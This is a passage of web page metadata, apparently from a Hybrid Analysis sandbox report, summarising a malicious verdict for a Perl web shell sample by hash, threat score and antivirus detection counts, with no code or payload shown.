AV engines flagged this file. 8 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Backdoor/Perl.WebShell Sample b9b0a4380db4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b9b0a4380db4…. Malware family: Backdoor/Perl.WebShell. Threat score 100/100. 3/26 AV engines flagged this file. 8 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2f","11",{}]]